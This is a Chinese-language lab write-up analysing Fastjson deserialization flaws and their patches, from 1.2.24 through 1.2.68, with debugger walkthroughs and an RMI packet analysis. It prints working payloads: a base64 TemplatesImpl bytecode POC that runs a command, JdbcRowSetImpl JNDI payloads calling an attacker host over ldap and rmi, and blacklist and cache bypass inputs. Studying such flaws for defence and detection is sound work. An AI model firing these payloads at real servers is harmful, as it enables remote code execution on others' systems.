Fastjson 漏洞相关
FastJSON 漏洞分析
概述
Fastjson 是阿里巴巴维护的开源 JSON 库,特点是速度较快,支持特性较多,经常爆洞。常用于 Web 和安卓的序列化和反序列化中。
支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化为 Java Bean。
常用方法:
JSON.toJSONString(Object[, SerializerFeature])
,将对象序列化为 JSON 格式,如果指定SerializerFeature.WriteClassName
,会将类名记录到 JSON 中(使用@type
标记)JSON.parse(Json)
,将 JSON 字符串反序列化为对象并返回,要求该 JSON 必须有@type
标记JSON.parseObject(Json)
,返回com.alibaba.fastjson.JSONObject
类JSON.parseObject(Json, Object.class)
,返回@type
指定的类JSON.parseObject(Json, User.class, Feature.SupportNonPublicField)
,反序列化时接受私有成员
使用
序列化时,所有 public 字段和具有 get 方法的 private 字段都能被序列化。
反序列化时,无 set 方法的 privaate 字段不会被反序列化,除非指定 Feature.SupportNonPublicField。
环境搭建
JDK 版本 1.8.211
使用 Spring Boot 搭建测试环境,在 pom.xml 中添加对应 FastJSON 依赖
1 | <dependency> |
测试页面
1 | import com.alibaba.fastjson.*; |
漏洞利用
FastJSON 1.2.24 反序列化
使用 1.2.23 版本
漏洞存在于 AutoType,可以反序列化任意类,POC:
1 | {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANQoABwAmCgAnACgIACkKACcAKgcAKwoABQAmBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMcG9jOwEACkV4Y2VwdGlvbnMHAC0BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAQTWV0aG9kUGFyYW1ldGVycwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACWhhRm5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALgEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAvAQAKU291cmNlRmlsZQEACHBvYy5qYXZhDAAIAAkHADAMADEAMgEACGNhbGMuZXhlDAAzADQBAANwb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAADAAEAA0ADQAOAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgACAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEgAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwAZAAAADQMAEwAAABUAAAAXAAAAAQARABoAAwAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAbABwAAgAPAAAABAABAB0AGQAAAAkCABMAAAAbAAAACQAeAB8AAwAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGgAIABsADAAAABYAAgAAAAkAIAAhAAAACAABACIADgABAA8AAAAEAAEAIwAZAAAABQEAIAAAAAEAJAAAAAIAJQ=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"} |
使用 TemplatesImpl 利用链执行任意字节码,_bytecodes
为如下恶意类
1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; |
POST 以上 POC,可以成功弹出计算器。
跟踪调试,在JSON.parseObject(s, Feature.SupportNonPublicField)
处下断点,获取传入特性后解析
进入 parser.parse()
,由于传入的 JSON 第一个字符是左大括号,所以进入 LBRACE,
开始解析字符串,通过scanSymbol
解析双引号之间的值(@type
)
并且获取了传入类的 class
进入 deseriailizer.deserialze()
,进行反序列化操作,依次解析 JSON 中的各个字段,第一个字段是outputProperties
,类型是java.util.Properties
,
当 key 是_outputProperties
时,matchfield 为 false,会进入parseField
进入 setValue,触发 TemplatesImpl 利用链
弹出计算器。
再次研究
之前的基本上就是复现了一遍,对原理基本没有了解。所以再来重新研究。
反序列化过程
传入一个带有类型的正常的 Json 进行反序列化,调试反序列化过程,secret 为 private 字段
1 | {"@type":"net.yanqs.springtest.FastjsonDemo.User","age":10,"secret":"secret","username":"sijidou"} |
反序列化方法为
1 | JSON.parseObject(s, Feature.SupportNonPublicField); |
获取特性后,进入 parse
创建了一个 DefaultJSONParseer,开始解析
其中, JSONLexer(词法分析器?) 表示了传入的 JSON 字符串,包含了字符串的长度,目前解析到的位置等等信息
如果当前位置是{
或者[
,则调用 next 方法继续向下,否则获取内容到 nextToken。
由于第一个字符是{
,因此进入 next。在 next 中,将当前字符串的位置记录一下,并判断字符串是否已经结束。
在 lexer 中记录 Token 的值(LBRACE,12),DefaultJSONParser构造完成,接下来调用它的 parse 方法。
switch(lexer.token()) 为 12,进入 case LBRACE
创建一个新的 JSONObject,如果 OrderedField 启动则使用 LinkedHashMap 存储,否则使用 HashMap。随后调用 parseObject。
parseObject 中处理一些 token 不正常的情况,进入解析的过程。
首先跳过空白,如果特性中设定了允许任意逗号,则也跳过逗号。所以在开启情况下可以使用类似payload,{,\t,\n,"@type"
如果下个字符是双引号,则进入 scanSymbleTable,返回下一个双引号之前的字符串。比如本例中会返回@type
。scanSymbleTable 中会进行十六进制和 Unicode 解码,因此可以进行编码来做简单的绕过。另外同样也会忽略注释。
这里的 JSON.DEFAULT_TYPE_KEY 就是@type
,进入并获取 typeName,类的全名,然后执行 loadClass。如果 loadClass 结果是 null,也把它放到结果的数组里,否则继续。进行一系列判断后,getDeserilizer 然后 deserialze
getDeserializer
get 查找类是否在已经存在的 Map 里,如果有就直接返回现成的 deserializer。如果是 Class<?>
类型,调用该类型的 getDeserializer,继续类似上面的过程,替换 className 中的$
为.
,应该是将内部类的符号换成普通的符号后,出现了一个 denylist
不知道为啥 denyList 里俩 Thread = =
判断将要反序列化的类是不是几个特殊的类之一,是的话添加一些相关的类
1 | java.awt. |
然后获取当前 classloader 尝试加载,然后再来 get,当然还是 get 不到。最后判断 clazz 是不是一些特殊的类,如果都不是,最后创建一个 JavaBeanDeserializer 返回。
跟进 createJavaBeanDeserializer,经过一系列判断 asmEnable,进入JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);
,在这个 build 方法中,创建将要反序列化的对象
获取到默认的构造方法后,设置可见性
接下来获取 getter
setter 和 getter 被获取到需要满足几个条件:方法名长度至少为4,不是静态方法,无返回值或返回值为声明它的类(此处存疑),接受 1 个参数,开头是 set
根据方法名获取字段,支持 Unicode
获取字段,根据是不是布尔类型分两种情况
获取 getter ,逻辑类似于获取 setter,要求方法名长度大于 4,非静态,开头是 get,第四个字符大写,不接受参数
另外还要求返回值能够满足以下条件之一:
后面其中有一点比较重要。如果一个 field 存在 setter,则它的信息在获取 setter 时就会呗获取到,此时就无法获取 getter。当无 setter 时,fieldInfo == null,才能获取 getter。
全部处理完成后,使用获取的这些信息创建 JavaBeanDeserializer。稍后进行 deserialize 方法。
根据以上分析,修改 secret 字段的类型为 Properties 即可成功在反序列化时调用 getProperties 方法。
1 | public class User { |
<= 1.2.24
换了 1.2.24 版本,继续分析。
TemplatesImpl Gadget
这就是上面复现过程中使用的 gadget,利用条件比较苛刻,需要服务端开启 Feature.SupportNonPublicField
。这个 TemplatesImpl 也是反序列化中常用的利用链。在 fastjson 中能够利用成功关键在于能够调用 getOutPutProperties
方法
这个类中存在 _outputProperties
这个字段和 getOuputProperties
getter,但是不存在 setter。同事返回值的类型是 Properties,它继承了 HashMap,间接继承了 Map。满足了所需的要求,所以可以调用。
JDBC Gadget
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.183.1:389/obj","autoCommit":true} |
本质上是一个 JNDI 注入,获取到的 autoCommit 方法造成 JNDI 注入
connect 方法中调用 lookup,造成 JNDI 注入
修复
默认关闭了 AutoType,并且加入了黑白名单机制。
1.2.23 中的相关部分:
322 行的 loadClass,在 1.2.25 中改为了 checkAutoType
在 AutoType 打开或者指定了 expectClass 的情况下,指定的 TypeName 如果在百名单中,则直接 loadClass,黑名单中抛出错误。
loadClass 绕过
在 AutoType 被手动打开的情况下,可以通过 loadClass 的截断特性绕过黑名单。
1 | Lcom.sun.; => com.sun. |
1.2.42 中检查是否以L
开头以;
结尾,是则截断第一个和最后一个字符。所以可以双写绕过。LLcom.sun.;;
。后续修复检查是否以L
开头以;
结尾,此时可以使用L
绕过。最后修复了L
,无法绕过。
<=1.2.47
缓存绕过
无需开启 Autotype 即可 RCE
1 | [{ |
不开启 autotype 的情况下,解析 java.lang.class 的时候不会进入下图中的第一个判断
而是直接返回 java.lang.class
随后获取 Class 对应的 Deserializer,是 Misccodec
在 deserialize 方法中,解析了 objVal 的值,即JdbcRowSetImpl
然后进行了 loadClass,,此处的 strVal 为 (String)objVal
FastJSON 有缓存机制,每次 deserialize 获取到的 value 会存放在一个 map 中。
在解析数组的第二项即JdbcRowSetImpl
时,在 getFromMapping 中会获取到 FastJSON 的缓存,即 JdbcRowSetImpl,直接返回了该类,从而绕过了 checkAutotype
随后的修复默认关闭了缓存,这样就无法绕过 checkAutotype 了。
<= 1.2.68
AutoCloseable 绕过
1.2.68,有限制,需要已知存在问题并且实现了 AutoCloseable 的类
1 | {"@type":"java.lang.AutoCloseable","@type":"class.to.be.deserialized"} |
重点在于 expectClassFlag,当第一次进入 checckAutotype 时,改变了 expectClass,当第二个类为第一个类的子类时,判断 expectClass 成功,会进行 loadClass。但是条件比较苛刻,要求服务器上存在危险的类才能利用,总体来说难度较大。
随后的修复中,将java.lang.AutoCloseable
,java.lang.Readable
,java.lang.Runnable
加入黑名单.
工具
详细分析
使用 vulhub 的环境和 JNDI 注入的 payload 攻击,用 marshalsec 开启 JNDI 服务并使受害者加载远程恶意类,192.168.183.1 为攻击者,192.168.183.128 为受害者,远程类 TouchFile 存放在 192.168.183.1:8080,抓包分析,数据包,[RMI文档](Java Remote Method Invocation: 10 - RMI Wire Protocol (oracle.com))
1 | {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.183.1:9999/TouchFile","autoCommit":true},"ixukxrkli7g":"="} |
RMI 过程中,会建立两个连接,Client - RMI Registry 和 Client - RMI Server。
Client - RMI Registry
192.168.183.128:35656 --- 192.168.183.1:9999
(tcp.stream eq 2)
- 客户端连接 RMI Registry
1 | 0000 4a 52 4d 49 00 02 4b JRMI..K |
根据文档
1 | Header: |
- RMI Registry 返回客户端信息
1 | 0000 4e 00 0f 31 39 32 2e 31 36 38 2e 31 38 33 2e 31 N..192.168.183.1 |
0x4e 为 ProtocolAck。0x000f 表示后续 IP 地址长度为 15 字节,即 ASCII 编码的192.168.183.1
。0x0000 保留。0x8b48 表示 35656 端口。
可以看出返回的是客户端的信息。
- 客户端返回自己的内网地址
1 | 0000 00 0a 31 37 32 2e 31 38 2e 30 2e 32 00 00 00 00 ..172.18.0.2.... |
同上,0x000a 表示长度为 10 的 IP 地址,末尾 0x0000 保留。
- 客户端向 RMI Registry 发送 Call
1 | 0000 50 ac ed 00 05 77 22 00 00 00 00 00 00 00 00 00 P....w"......... |
0x50 表示 JRMP Call,后面的以 0xaced 开头的是 Serialization Data,可以看到,结尾是客户端要加载的远程类 TouchFile
- RMI Registry 返回客户端调用远程方法需要的信息
1 | 0000 51 ac ed 00 05 77 0f 01 0f 54 56 ae 00 00 01 7b Q....w...TV....{ |
0x51 表示 ReturnData,后面是序列化的数据。
到这里,有的文章说还有 Ping(0x52),Ack(0x53) 和 分布式GC(0x54) 的内容,但我这里妹有看到。
Client - RMI Server
获取到远程调用需要的信息后,开始加载远程类。
192.168.183.128:32940 --- 192.168.183.1:8000
(tcpstream eq 3)
Client 通过 HTTP 下载远程类
C# 实现自动化检测
对于检测来说,检测到以上第四步,即客户端向 RMI Registry 发送 JRMP Call,即可证明存在漏洞。
Fastjson 漏洞相关